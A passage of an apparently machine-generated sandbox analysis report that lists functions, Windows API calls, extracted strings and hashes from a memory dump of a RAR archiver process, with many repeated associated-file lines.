Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ExceptionThrow$ErrorLaststd::bad_alloc::bad_alloc
String ID:
API String ID: 3116915952-0
Opcode ID: b44cecc4538195ef80268b9e7976b6d807d072f57678e8aa8dc27d297b8f3769
Instruction ID: 5e2318e3f5767fd96613153c27c1d8b8e6ded39c3d8e0713263553129db015a7
Opcode Fuzzy Hash: b44cecc4538195ef80268b9e7976b6d807d072f57678e8aa8dc27d297b8f3769
Instruction Fuzzy Hash: E9E16E22A08B8682EE20EF25D8541FE73A5FBC6788F455032DE4E8B796DE3DE505D701

Function 00007FF629B13A70 Relevance: 6.1, APIs: 4, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00007FF629B111B0,?,?,?,00000000,?,?,00007FF629B0F30F,00000000,00007FF629AF6380,?,00007FF629AF2EC8), ref: 00007FF629B13AC4
CreateFileW.KERNEL32(?,?,?,00007FF629B111B0,?,?,?,00000000,?,?,00007FF629B0F30F,00000000,00007FF629AF6380,?,00007FF629AF2EC8), ref: 00007FF629B13B0A
DeviceIoControl.KERNEL32 ref: 00007FF629B13B55
CloseHandle.KERNEL32(?,?,?,00007FF629B111B0,?,?,?,00000000,?,?,00007FF629B0F30F,00000000,00007FF629AF6380,?,00007FF629AF2EC8), ref: 00007FF629B13B60

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CreateFile$CloseControlDeviceHandle
String ID:
API String ID: 998109204-0
Opcode ID: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction ID: 9d170b929a54d14e17b7bf56aafa0ee060a51709c6db023952e9c8c17b369b43
Opcode Fuzzy Hash: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction Fuzzy Hash: F1318132618B8586EB608F12B84469B77A4FBCA7E4F000235EAAD43BD4DF3CD5559B00

Function 00007FF629B13144 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(00007FF629B12684), ref: 00007FF629B1319F

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction ID: cf56cf3ec5a5d34528468f151de9c5193fafd9645f1636558ec8634d62fabb4e
Opcode Fuzzy Hash: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction Fuzzy Hash: C7011B22A2868586EF70DF15E8513AF73A1FB86745F800121E68CC6988EE7CD604EF41

Function 00007FF629B56130 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B562AD

Strings

NAN(SNAN), xrefs: 00007FF629B561C5
INF, xrefs: 00007FF629B561A3
nan, xrefs: 00007FF629B56198
inf, xrefs: 00007FF629B561B6
nan(ind), xrefs: 00007FF629B561E6
NAN(IND), xrefs: 00007FF629B561DB
NAN, xrefs: 00007FF629B56191
nan(snan), xrefs: 00007FF629B561D0

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction ID: 0e61ca03d0b3f629b909870988ee59a84fbb9108bdfb99c97052b39034ddb86d
Opcode Fuzzy Hash: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction Fuzzy Hash: F541A972A09B4989EB04CF65EC417EE37A5EB4A388F00413AEE5C87B95DE38E025D345

Function 00007FF629B07988 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(00000000,00000100,?,?,00000002,00007FF629B07892), ref: 00007FF629B079BC
GetStdHandle.KERNEL32 ref: 00007FF629B079CA
GetConsoleMode.KERNEL32 ref: 00007FF629B079E0
GetConsoleMode.KERNEL32 ref: 00007FF629B079EE
SetConsoleMode.KERNEL32 ref: 00007FF629B079FC
SetConsoleMode.KERNEL32 ref: 00007FF629B07A0A
ReadConsoleW.KERNEL32 ref: 00007FF629B07A24
SetConsoleMode.KERNEL32 ref: 00007FF629B07A3A
SetConsoleMode.KERNEL32 ref: 00007FF629B07A47

Part of subcall function 00007FF629B082E4: fflush.LIBCMT ref: 00007FF629B0832F

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Console$Mode$Handle$Readfflush
String ID:
API String ID: 1039280553-0
Opcode ID: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction ID: 01aa6c2547c23467954dceb769952a01e2023adecd8f210caab6008caa60b5af
Opcode Fuzzy Hash: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction Fuzzy Hash: 32218026B1864B97EF009F26AD4417E6361FBCABA3F140234EE4A57B64DE3CE446D701

Function 00007FF629B40140 Relevance: 12.2, APIs: 8, Instructions: 205COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629B40211
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629B40222
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629B4022D
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629B4023E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629B403D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629B403E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629B403EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629B40400

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction ID: e47d122730c5fb61b95e523df646dc80272f3c62c84821ca7ec23d40b625ed39
Opcode Fuzzy Hash: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction Fuzzy Hash: BC81E422A0C68A85FF109F21E9603BF6350FBC6B85F185131DB4D97A99DF3CE445AB02

Function 00007FF629B51ADC Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B51B14
_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B51E39
_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B520BE

Strings

+, xrefs: 00007FF629B51B96
-, xrefs: 00007FF629B51B8B

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: +$-
API String ID: 3215553584-2137968064
Opcode ID: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction ID: d50bb3b693d35b9e3ed0041767a7bc0ea949fefd833f9ea7182074e93aed41e8
Opcode Fuzzy Hash: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction Fuzzy Hash: DA12E826E0A18B46FF249E15D8442BF3295EF92766FDC8232C699C76C0DF2CE541E706

Function 00007FF629B3BC8C Relevance: 9.1, APIs: 6, Instructions: 113timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629B16754: GetVersionExW.KERNEL32 ref: 00007FF629B16785

FileTimeToLocalFileTime.KERNEL32 ref: 00007FF629B3BCEF
FileTimeToSystemTime.KERNEL32 ref: 00007FF629B3BCFB
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF629B3BD0B
SystemTimeToFileTime.KERNEL32 ref: 00007FF629B3BD19
SystemTimeToFileTime.KERNEL32 ref: 00007FF629B3BD27
FileTimeToSystemTime.KERNEL32 ref: 00007FF629B3BD68

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction ID: ac8c86bf2aec8f709fae51651ca17d457a0e9166fe9a6b101d1bb309740dbd93
Opcode Fuzzy Hash: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction Fuzzy Hash: D6518AB2B146568BEB54CFB5D8401ED37B0FB49B89B50403ADE0E96B58DF38E545CB00

Function 00007FF629B3C254 Relevance: 9.1, APIs: 6, Instructions: 81timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF629B3C2B8

Part of subcall function 00007FF629B16754: GetVersionExW.KERNEL32 ref: 00007FF629B16785

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF629B3C2DA
FileTimeToSystemTime.KERNEL32 ref: 00007FF629B3C2E6
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF629B3C2F6
SystemTimeToFileTime.KERNEL32 ref: 00007FF629B3C304
SystemTimeToFileTime.KERNEL32 ref: 00007FF629B3C312

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction ID: 6e0605a91cd67f373a828e13fc40abac73204d5656f16f4e4c9350ebefea8492
Opcode Fuzzy Hash: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction Fuzzy Hash: 84315962B146568AFB00CFF5D8801BD3770FF49B49B14502AEE0E97A68EF38E895D305

Function 00007FF629B2EB40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629AF72C4: new.LIBCMT ref: 00007FF629AF73DE

new.LIBCMT ref: 00007FF629B2EBB4

Strings

exe, xrefs: 00007FF629B2ECDC
sfx, xrefs: 00007FF629B2ECC9
rar, xrefs: 00007FF629B2ECF2
rebuilt., xrefs: 00007FF629B2ECA3

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID: exe$rar$rebuilt.$sfx
API String ID: 0-13699710
Opcode ID: 0b1da9e657f7261bdb3f462eb1dbe221dfbeb346c67af24014c3732231eefe35
Instruction ID: 16cd526d464b6dbbf267b04ca49db67c52dbed27eea0df154ba14f21d67cd2ed
Opcode Fuzzy Hash: 0b1da9e657f7261bdb3f462eb1dbe221dfbeb346c67af24014c3732231eefe35
Instruction Fuzzy Hash: 0D818325E0C68A85EE20EE65DC112FE2392FBC7785F404135D94D8BACADE3DE605E702

Function 00007FF629B4E0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

abort.LIBCMT ref: 00007FF629B4E0F4
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF629B4E1BC
RtlUnwindEx.KERNEL32 ref: 00007FF629B4E20B

Strings

f, xrefs: 00007FF629B4E13A
csm, xrefs: 00007FF629B4E1A2

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabort
String ID: csm$f
API String ID: 3913153233-629598281
Opcode ID: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction ID: e221170113bfe57bb5ed383bcc335faae9d232d70cb8df655556285c31cb5762
Opcode Fuzzy Hash: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction Fuzzy Hash: 7361B33AA0964A86EF14DF51E854A7F3791FB86785F149530DE0A87744DF38E841AB02

Function 00007FF629B0EA18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00007FF629B0EBC2), ref: 00007FF629B0EA7C
GetFileSecurityW.ADVAPI32(?,00007FF629B0EBC2), ref: 00007FF629B0EABC
GetSecurityDescriptorLength.ADVAPI32(?,00007FF629B0EBC2), ref: 00007FF629B0EB0A

Strings

ACL, xrefs: 00007FF629B0EB39
, xrefs: 00007FF629B0EAE3

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: $ACL
API String ID: 2361174398-1852320022
Opcode ID: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction ID: 8e220389e53fd84f848434f17a4e3bf8d2820241e6cfd0866236367e8cf58aeb
Opcode Fuzzy Hash: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction Fuzzy Hash: 43316061A19A8692EF24DF11ED503EE73A4FBCA785F804035DA8D83696DF3CE605D702

Function 00007FF629B3BE3C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629B3BC8C: FileTimeToLocalFileTime.KERNEL32 ref: 00007FF629B3BCEF
Part of subcall function 00007FF629B3BC8C: FileTimeToSystemTime.KERNEL32 ref: 00007FF629B3BD68

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B3BEAE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B3BED8

Strings

%u-%02u-%02u %02u:%02u, xrefs: 00007FF629B3BEB8
????-??-?? ??:??, xrefs: 00007FF629B3BEDF
%u-%02u-%02u %02u:%02u:%02u,%09u, xrefs: 00007FF629B3BE80

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Time$File$swprintf$LocalSystem
